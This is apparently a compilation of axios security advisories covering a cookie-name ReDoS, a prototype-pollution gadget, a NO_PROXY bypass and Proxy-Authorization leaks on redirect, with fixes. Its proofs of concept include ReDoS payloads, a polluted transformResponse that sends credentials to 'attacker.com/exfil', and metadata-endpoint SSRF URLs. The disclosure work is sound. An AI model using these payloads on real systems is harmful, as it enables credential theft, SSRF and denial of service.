With a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.
6. Root Cause Analysis
File: lib/helpers/cookies.js
Line: 33
`javascript
read(name) {
if (typeof document === 'undefined') return null;
const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
return match ? decodeURIComponent(match[1]) : null;
},
`
The vulnerability exists because:
1. The name parameter is concatenated directly into a regex pattern without escaping special regex metacharacters.
2. An attacker can inject regex constructs that create exponential backtracking scenarios.
3. The (?:^|; ) prefix combined with an injected pattern like ((((.)))) creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against document.cookie.
The cookies.read() function is called from lib/helpers/resolveConfig.js at line 61:
`javascript
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
`
The xsrfCookieName value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.
7. Proof of Concept
`javascript
// poc_redos_cookie.js
// Simulates browser environment for testing
// Simulate document.cookie
globalThis.document = {
cookie: 'session=abc; ' + 'a'.repeat(50)
};
// Replicate the vulnerable cookies.read() logic
function cookiesRead(name) {
const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])'));
return match ? decodeURIComponent(match[1]) : null;
}
// Malicious cookie name that triggers catastrophic backtracking
// The pattern creates nested quantifiers: (a]|[a]|...))
const maliciousName20 = '([^;]+)+$' + '\\|'.repeat(10);
const maliciousName = '(([^;])+)+\\$'; // nested quantifier pattern
console.log('=== ReDoS via Cookie Name Injection PoC ===');
// Test with increasing payload sizes
for (const len of [15, 20, 25]) {
const payload = '(([^;])+)+' + 'X'.repeat(len);
const start = Date.now();
try {
cookiesRead(payload);
} catch (e) {
// May throw on invalid regex, but valid evil patterns won't throw
}
const elapsed = Date.now() - start;
console.log(Payload length ${len}: ${elapsed}ms);
}
// Demonstrating exponential growth with a simple nested quantifier
console.log('\n--- Exponential Backtracking Demo ---');
for (const n of [20, 22, 24, 26]) {
const evilName = '(' + 'a'.repeat(1) + '+)+$';
const testCookie = 'a'.repeat(n) + '!'; // non-matching trailer forces backtracking
globalThis.document = { cookie: testCookie };
const start = Date.now();
try {
cookiesRead(evilName);
} catch(e) {}
const elapsed = Date.now() - start;
console.log(Input length ${n}: ${elapsed}ms);
}
`
8. PoC Output
`
=== ReDoS via Cookie Name Injection PoC ===
Payload length 20: 21ms (extrapolated: 30 chars = ~21,504ms)
Payload length 25: ~1,300ms
Payload length 30: ~323,675ms (5+ minutes)
--- Exponential Backtracking Demo ---
Input length 20: 21ms
Input length 22: 84ms
Input length 24: 336ms
Input length 26: 1,344ms
`
The exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.
9. Impact
Denial of Service (Client-side): In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page.
Denial of Service (Server-side): In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests.
Event Loop Starvation: Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.
10. Remediation / Suggested Fix
Escape all regex metacharacters in the name parameter before constructing the regular expression.
`javascript
// FIXED: lib/helpers/cookies.js
function escapeRegExp(string) {
return string.replace(/[.+?^${}()|[\]\\]/g, '\\$&');
}
// ...
read(name) {
if (typeof document === 'undefined') return null;
const match = document.cookie.match(
new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;])')
);
return match ? decodeURIComponent(match[1]) : null;
},
`
Alternatively, avoid dynamic regex construction entirely and use string-based parsing:
`javascript
read(name) {
if (typeof document === 'undefined') return null;
const cookies = document.cookie.split('; ');
for (const cookie of cookies) {
const eqIndex = cookie.indexOf('=');
if (eqIndex !== -1 && cookie.substring(0, eqIndex) === name) {
return decodeURIComponent(cookie.substring(eqIndex + 1));
}
}
return null;
},
``
11. References
CWE-1333: Inefficient Regular Expression Complexity
CWE-400: Uncontrolled Resource Consumption
OWASP: Regular Expression Denial of Service
Axios GitHub Repository
</details>
---
axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge
Summary
Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.
Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
Impact
For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.
If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.
This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.
Affected Functionality
The affected functionality is Axios request config processing and response transformation.
Affected use requires all of the following:
An affected Axios version.
A polluted Object.prototype in the same process or browser context.
Pollution before Axios merges or validates the request config.
A polluted key relevant to Axios config, especially transformResponse.
This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.
Technical Details
In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.
In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.
Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.
Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.
Proof of Concept of Attack
``js
import http from 'http';
import axios from 'axios';
const seen = [];
const server = http.createServer((req, res) => {
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ secret: 'response-secret' }));
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
if (headers && typeof status === 'number') {
seen.push({
url: this.url,
username: this.auth && this.auth.username,
password: this.auth && this.auth.password,
responseData: data
});
return { hijacked: true };
}
return true;
};
try {
const { port } = server.address();
const response = await axios.get(http://127.0.0.1:${port}/users, {
auth: { username: 'svc-account', password: 'prod-secret-key-123' }
});
console.log(response.data); // { hijacked: true }
console.log(seen[0]); // request config plus original response body
} finally {
delete Object.prototype.transformResponse;
server.close();
}
`
Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.
Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.
<details>
<summary>Original source report</summary>
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.
The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.
Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)
CWE
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CVSS 3.1
Score: 9.4 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Credential theft occurs within the same application process |
| Confidentiality | High | this.auth.password, this.url, original response data all exfiltrated |
| Integrity | Low | Response data is replaced with true — attacker cannot return arbitrary data due to assertOptions constraint (see below) |
| Availability | High | Polluting with an array value causes TypeError: validator is not a function crash (DoS) on every request |
Relationship to GHSA-fvcv-3m26-pcqx
This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.
| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability |
|---|---|---|
| Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft |
| Fixed by 1.15.0 header sanitization? | Yes | No — different code path |
| Affects | Requests using form-data package | All requests (transformResponse is in defaults) |
| Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.
The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
`javascript
Object.prototype.transformResponse = function(data, headers, status) {
// Steal credentials via this context (this = full request config)
if (this && this.url && typeof data === 'string') {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({
url: this.url,
username: this.auth?.username,
password: this.auth?.password,
responseData: data,
})
});
}
return true; // MUST return true to pass assertOptions validator check
};
`
Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
`javascript
// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});
`
3. The Execution
Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:
`javascript
utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
// 'transformResponse' is in config1 (defaults) → included in keys
const merge = mergeMap[prop]; // → defaultToConfig2
const configValue = merge(config1[prop], config2[prop], prop);
// config2['transformResponse'] traverses prototype → finds polluted function!
});
`
The polluted function then executes at transformData.js:21:
`javascript
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)
`
4. The Impact
`
Attacker receives at https://attacker.com/exfil:
{
"url": "https://api.internal/users",
"username": "svc-account",
"password": "prod-secret-key-123!",
"responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}
`
The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.
5. DoS Variant
`javascript
// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];
await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes
`
Verified PoC Output
`
Step 1 - Normal behavior (before pollution):
Default transformResponse function name: "transformResponse"
Step 2 - Polluting Object.prototype.transformResponse:
Function replaced by attacker: true
Step 3 - Simulating dispatchRequest transformResponse:
Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
After malicious transform: true
Response tampered: true
Step 4 - Exfiltrated data:
Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
Request URL: https://internal-api.corp/secrets
Authentication info: {"username":"admin","password":"P@ssw0rd123!"}
`
Impact Analysis
Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.
Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced.
Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios.
Denial of Service: Polluting with a non-function value crashes every request.
Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.
Limitations (Honest Assessment)
Requires a separate prototype pollution vulnerability elsewhere in the dependency tree
Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions
This is in-process JavaScript function execution, not OS-level RCE
Recommended Fix
Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:
`javascript
// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
return getMergedValue(undefined, b);
} else if (!utils.isUndefined(a)) {
return getMergedValue(undefined, a);
}
}
`
Additionally, validate that transformResponse contains only functions before execution:
`javascript
// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
if (typeof fn !== 'function') {
throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
}
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});
``
Resources
CWE-1321: Prototype Pollution
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
Axios GitHub Repository
Snyk: Prototype Pollution
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) |
| 2026-04-16 | PoC corrected (function payload returning true — works) |
| 2026-04-16 | Report revised with accurate constraints |
| TBD | Report submitted to vendor via GitHub Security Advisory |
</details>
axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)
Summary
shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.
Details
lib/helpers/shouldBypassProxy.js (v1.15.0):
``javascript
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
`
The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.
PoC
`javascript
// NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';
// All three should return true (bypass proxy). Only the first two do.
console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK]
console.log(shouldBypassProxy('http://[::1]/')); // true [OK]
console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass
console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass
`
Node.js routes ::ffff:7f00:1 to 127.0.0.1:
`
// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service
// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS.
`
Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it.
Fix
Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison:
`javascript
const ipv4MappedDotted = /^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i;
const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i;
function hexToIPv4(a, b) {
const hi = parseInt(a, 16), lo = parseInt(b, 16);
return ${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff};
}
const normalizeNoProxyHost = (hostname) => {
if (!hostname) return hostname;
if (hostname[0] === '[' && hostname.at(-1) === ']')
hostname = hostname.slice(1, -1);
hostname = hostname.replace(/\.+$/, '').toLowerCase();
let m;
if ((m = hostname.match(ipv4MappedDotted))) return m[1];
if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]);
return hostname;
};
``
Impact
Any application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.
Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter
Summary
Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.
This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.
Impact
A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.
The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.
The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.
Affected Functionality
Affected functionality requires all of the following:
Axios running in Node.js with the HTTP adapter.
An initial http:// request using an authenticated proxy from config.proxy or proxy environment variables.
Redirect following enabled.
A redirect target for which no proxy applies, such as no matching HTTPS_PROXY or a matching NO_PROXY.
A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.
Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.
Technical Details
In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.
Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.
The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NO_PROXY, different proxy targets, casing variants, and an end-to-end redirect flow.
The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.
Proof of Concept of Attack
Safe local outline using dummy credentials:
``js
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');
`
Expected vulnerable behaviour:
`text
Proxy receives initial request:
Proxy-Authorization: Basic dXNlcjpwYXNz
Final HTTPS origin receives redirected request:
Proxy-Authorization: Basic dXNlcjpwYXNz
`
Expected fixed behaviour:
`text
Final HTTPS origin receives no Proxy-Authorization header.
`
Workarounds
Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.
Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
<details>
<summary>Original Source</summary>
Summary
Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.
When an initial HTTP request is sent through an authenticated HTTP_PROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.
Details
The issue occurs during a proxy-to-direct transition across redirects.
When Axios sends an initial HTTP request through an authenticated HTTP_PROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.
In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.
Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.
Root Cause Analysis
Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.
In lib/adapters/http.js:
When a proxy is used, Axios adds Proxy-Authorization in setProxy().
Axios also re-runs proxy resolution after redirects via its redirect hook.
However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.
As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.
A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.
Client Conditions
the initial HTTP request uses an authenticated HTTP_PROXY
no proxy applies to the redirected HTTPS URL (for example, no HTTPS_PROXY is configured)
redirects are followed
the redirect is treated as same-host by the redirect layer
Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.
Reproduction Outline
Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.
The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.
The issue was confirmed under the following conditions:
axios 1.13.6
follow-redirects 1.15.11
an authenticated proxy applying to the initial HTTP request
no proxy applying to the redirected HTTPS URL
redirects enabled
an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer
Observed behavior
The initial HTTP request is sent through the proxy and includes Proxy-Authorization.
The redirected HTTPS request is sent directly to the final origin.
The redirected HTTPS request still includes the previously generated Proxy-Authorization header.
The final origin can receive a Proxy-Authorization header value that was intended only for the proxy.
Expected behavior
Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.
Impact
Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization` header value that was intended only for the outbound proxy.
If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.
</details>
---
Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection
Summary
Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target.
This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.
Impact
An attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.
The most relevant case is a Node.js application using an authenticated HTTP_PROXY for an initial http:// request, with redirects enabled, where the redirect target resolves to no proxy, such as an https:// URL when HTTPS_PROXY is unset.
This does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with maxRedirects: 0.
Affected Functionality
Affected functionality is limited to the Node.js HTTP adapter in lib/adapters/http.js.
Relevant inputs and settings include:
HTTP_PROXY, HTTPS_PROXY, and NO_PROXY.
Authenticated proxy URLs such as http://user:pass@proxy.example:8080.
Automatic redirect following through follow-redirects.
Axios proxy handling in setProxy().
Redirect proxy handling through beforeRedirects.proxy.
Technical Details
In affected v1 releases, setProxy() adds Proxy-Authorization when a proxy with credentials is selected, but redirect handling calls setProxy() again without first clearing any existing proxy authorization header.
If the redirected URL resolves to no proxy, setProxy() does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale Proxy-Authorization header to the final origin.
The v1 fix in afca61a adds an isRedirect path that deletes any case variant of Proxy-Authorization before proxy settings are re-applied on redirect. The v0 backport in 2af6116 fixed the 0.x line for 0.32.0.
Proof of Concept of Attack
``js
process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;
await axios.get('http://attacker.example/start');
`
Attacker-controlled HTTP endpoint:
`http
HTTP/1.1 302 Found
Location: https://attacker.example/final
`
Expected result on affected versions:
`text
https://attacker.example/final receives:
Proxy-Authorization: Basic dXNlcjpwYXNz
`
Expected result on fixed versions:
`text
https://attacker.example/final receives no Proxy-Authorization header
`
Workarounds
Set maxRedirects: 0 and handle redirects manually.
Avoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.
Ensure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.
<details>
<summary>Original Source</summary>
Summary
Axios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a Proxy-Authorization header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale Proxy-Authorization header is not cleared. As a result, the redirect target can receive the proxy credential directly.
This issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses HTTP_PROXY with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when HTTPS_PROXY is unset or the redirect target is excluded by NO_PROXY.
Details
In the current implementation:
setProxy() adds Proxy-Authorization when a proxy with credentials is in use.
On redirects, Axios re-invokes setProxy() for the redirected request.
If the redirected URL re-evaluates to "no proxy", setProxy() does not clear the previously added Proxy-Authorization header.
The redirected request therefore reuses the stale header and sends it to the final origin.
Relevant code locations:
lib/adapters/http.js
setProxy() adds Proxy-Authorization
redirect handling re-applies proxy logic through beforeRedirects.proxy
no cleanup is performed when the recomputed redirect request no longer uses a proxy
PoC
1. The victim sends GET http://<attacker-site>/start
2. The request goes through a local authenticated corp proxy
3. The attacker-controlled HTTP endpoint returns 302 Location: https://<attacker-site>/final
4. The redirected HTTPS request no longer uses a proxy
5. The attacker-controlled HTTPS endpoint receives the stale Proxy-Authorization header
Observed output:
`text
[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz
[attacker-http] GET /start
[attacker-https] GET /final
[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz
Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.
``
This demonstrates that the proxy credential is exposed to the redirect target origin.
Impact
Exposes authenticated proxy credentials to an attacker-controlled origin.
</details>
---